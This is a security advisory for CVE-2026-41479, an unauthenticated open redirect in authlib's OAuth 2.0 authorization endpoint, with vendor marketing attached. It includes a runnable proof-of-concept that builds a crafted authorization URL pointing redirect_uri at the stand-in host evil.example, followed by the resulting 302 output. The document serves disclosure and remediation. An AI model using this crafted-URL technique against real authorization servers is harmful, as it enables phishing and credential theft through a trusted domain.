CVE-2026-41479

CVE-2026-41479 is a medium-severity open redirect vulnerability in authlib (pip), affecting versions < 1.6.10. It is fixed in 1.6.10, 1.7.1.

Summary

Authlib's OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported response_type and supplies an attacker-controlled redirect_uri.

The vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL.

It was confirmed that the vulnerable code is present in tag v1.6.6 and in the current HEAD under test (68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1, git describe: v1.6.6-104-g68e6ab3f). The issue was dynamically reproduced locally on the current HEAD.

Details

The root cause is that AuthorizationServer.get_authorization_grant() copies the raw request
redirect_uri into an UnsupportedResponseTypeError before any client has been resolved and
before any redirect URI validation has happened:

# authlib/oauth2/rfc6749/authorization_server.py
raise UnsupportedResponseTypeError(
    f"The response type '{request.payload.response_type}' is not supported by the server.",
    request.payload.response_type,
    redirect_uri=request.payload.redirect_uri,
)

That error object is later rendered by OAuth2Error.__call__(). If redirect_uri is set, Authlib
automatically returns a redirect response to that URI:

# authlib/oauth2/base.py
def __call__(self, uri=None):
    if self.redirect_uri:
        params = self.get_body()
        loc = add_params_to_uri(self.redirect_uri, params, self.redirect_fragment)
        return 302, "", [("Location", loc)]
    return super().__call__(uri=uri)

This means an unsupported response_type request can force the authorization server to redirect
to an attacker-controlled URL even when:

1. no valid client exists,
2. no grant matched the request,
3. no registered redirect_uri was ever checked.

This is not a contrived code path. It is reachable through the normal Authlib authorization
endpoint flow documented for Flask and Django integrations, where applications are told to call
server.get_consent_grant(...) and then server.handle_error_response(...) on OAuth2Error.

Relevant source and documentation references:

- authlib/oauth2/rfc6749/authorization_server.py
- authlib/oauth2/base.py
- docs/flask/2/authorization-server.rst
- docs/django/2/authorization-server.rst

### PoC

Local test environment:

- Repository checkout: 68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1
- git describe: v1.6.6-104-g68e6ab3f
- Python virtualenv: ./.venv
- Environment variable: AUTHLIB_INSECURE_TRANSPORT=true

Note: AUTHLIB_INSECURE_TRANSPORT=true was only used to allow local loopback HTTP reproduction.
It does not create the vulnerable behavior. In a real deployment the same logic is reachable
over HTTPS.

Run this exact PoC from the repository root:

export AUTHLIB_INSECURE_TRANSPORT=true
./.venv/bin/python - <<'PY'
import os, json
from flask import Flask, request
from authlib.integrations.flask_oauth2 import AuthorizationServer
from authlib.oauth2 import OAuth2Error
from authlib.oauth2.rfc6749.grants import AuthorizationCodeGrant as _AuthorizationCodeGrant

os.environ["AUTHLIB_INSECURE_TRANSPORT"] = "true"

class AuthorizationCodeGrant(_AuthorizationCodeGrant):
    def save_authorization_code(self, code, request):
        raise RuntimeError("not reached")
    def query_authorization_code(self, code, client):
        return None
    def delete_authorization_code(self, authorization_code):
        pass
    def authenticate_user(self, authorization_code):
        return None

app = Flask(__name__)
app.secret_key = "testing"

server = AuthorizationServer(
    app,
    query_client=lambda client_id: None,
    save_token=lambda token, request: None,
)
server.register_grant(AuthorizationCodeGrant)

@app.route("/oauth/authorize", methods=["GET", "POST"])
def authorize():
    try:
        grant = server.get_consent_grant(end_user=None)
    except OAuth2Error as error:
        return server.handle_error_response(request, error)
    return server.create_authorization_response(grant=grant, grant_user=None)

with app.test_client() as c:
    cases = {
        "without_redirect_uri": "/oauth/authorize?response_type=totally-unsupported&state=s1",
        "with_attacker_redirect_uri": "/oauth/authorize?response_type=totally-
unsupported&redirect_uri=https%3A%2F%2Fevil.example%2Flanding&state=s1",
    }
    out = {}
    for name, url in cases.items():
        r = c.get(url)
        out[name] = {
            "status": r.status_code,
            "location": r.headers.get("Location"),
            "body": r.get_data(as_text=True),
        }
    print(json.dumps(out, indent=2))
PY

Observed result:

{
  "without_redirect_uri": {
    "status": 400,
    "location": null,
    "body": "{\"error\": \"unsupported_response_type\", \"error_description\": \"totally-
unsupported\", \"state\": \"s1\"}"
  },
  "with_attacker_redirect_uri": {
    "status": 302,
    "location":
"https://evil.example/landing?error=unsupported_response_type&error_description=totally-unsupported&state=s1",                                                                                    
    "body": ""
  }
}

This demonstrates that the only difference between a local error and an external redirect is
whether the attacker supplies redirect_uri.

The same behavior was locally reproduced with the Django integration using RequestFactory; it
returned:

{
  "status": 302,
  "location":
"https://evil.example/landing?error=unsupported_response_type&error_description=totally-unsupported&state=s1",                                                                                    
  "body": ""
}

### Impact
This is an unauthenticated open redirect in an internet-facing authorization endpoint.

Who is impacted:

- Any deployment using Authlib's OAuth 2.0 authorization server and the documented authorization
  endpoint flow.
- No special feature flag is required beyond running the authorization endpoint itself.

Attacker prerequisites:

- None beyond the ability to send a victim to a crafted authorization URL.

Practical harm:

- Phishing and credential theft by abusing a trusted authorization server domain as a
  redirector.
- Bypass of domain-based allowlists that trust the authorization server's host.
- SSO / OAuth confusion in ecosystems where trusted authorization endpoints are expected to
  reject unregistered redirect URIs before redirecting.

The issue is especially concerning because the redirect happens before client existence and
redirect URI legitimacy are established.

Impact

Untrusted input controls a URL used for redirection, which can forward users to attacker-controlled sites. Typical impact: phishing and credential harvesting via a trusted domain.

CVE-2026-41479 has a CVSS score of 5.4 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.6.10, 1.7.1); upgrading removes the vulnerable code path.

Affected versions

authlib (< 1.6.10) authlib (= 1.7.0)

Security releases

authlib → 1.6.10 (pip) authlib → 1.7.1 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade the following packages to resolve this vulnerability:

authlib to 1.6.10 or later; authlib to 1.7.1 or later

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-41479? CVE-2026-41479 is a medium-severity open redirect vulnerability in authlib (pip), affecting versions < 1.6.10. It is fixed in 1.6.10, 1.7.1. Untrusted input controls a URL used for redirection, which can forward users to attacker-controlled sites.
  2. How severe is CVE-2026-41479? CVE-2026-41479 has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of authlib are affected by CVE-2026-41479? authlib (pip) versions < 1.6.10 is affected.
  4. Is there a fix for CVE-2026-41479? Yes. CVE-2026-41479 is fixed in 1.6.10, 1.7.1. Upgrade to this version or later.
  5. Is CVE-2026-41479 exploitable, and should I be worried? Whether CVE-2026-41479 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-41479 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-41479?
    • Upgrade authlib to 1.6.10 or later
    • Upgrade authlib to 1.7.1 or later

Other vulnerabilities in authlib

CVE-2026-41479CVE-2026-44681CVE-2026-41425CVE-2026-28498CVE-2026-27962

Stop the waste.
Protect your environment with Kodem.